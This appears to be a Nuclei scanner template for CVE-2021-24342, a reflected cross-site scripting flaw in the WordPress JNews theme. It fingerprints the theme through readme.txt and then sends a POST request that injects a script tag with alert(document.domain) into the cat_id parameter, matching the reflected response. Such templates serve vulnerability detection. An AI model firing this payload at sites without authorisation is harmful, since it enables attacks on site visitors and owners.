72 lines
2.4 KiB
YAML
72 lines
2.4 KiB
YAML
id: CVE-2021-24342
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info:
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name: WordPress JNews Theme <8.0.6 - Cross-Site Scripting
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author: pikpikcu
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severity: medium
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description: WordPress JNews theme before 8.0.6 contains a reflected cross-site scripting vulnerability. It does not sanitize the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*).
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
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remediation: |
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Update to the latest version of the WordPress JNews Theme (>=8.0.6) to mitigate the XSS vulnerability.
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reference:
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- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
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- https://github.com/ARPSyndicate/cvemon
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-24342
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cwe-id: CWE-79
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epss-score: 0.00113
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epss-percentile: 0.43845
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cpe: cpe:2.3:a:jnews:jnews:*:*:*:*:*:wordpress:*:*
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metadata:
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max-request: 1
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vendor: jnews
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product: jnews
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framework: wordpress
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tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,jnews
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flow: http(1) && http(2)
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http:
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- raw:
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- |
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GET /wp-content/themes/jnews/readme.txt HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: word
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internal: true
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words:
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- 'Change Log:'
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- 'JNews -'
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condition: and
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- raw:
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- |
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POST /?ajax-request=jnews HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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Content-Type: application/x-www-form-urlencoded
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lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: word
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part: header
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words:
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- 'Content-Type: text/html'
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- type: status
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status:
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- 200
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# digest: 4b0a004830460221009d991f6bbd77833018ba16f8cfd198303e2d9503abce9376633eab75e58e3d0a02210087d6cf3d10d6cd839d088b1f050893de4acee7e6746e284113eff38aaf0dfc18:922c64590222798bb761d5b6d8e72950 |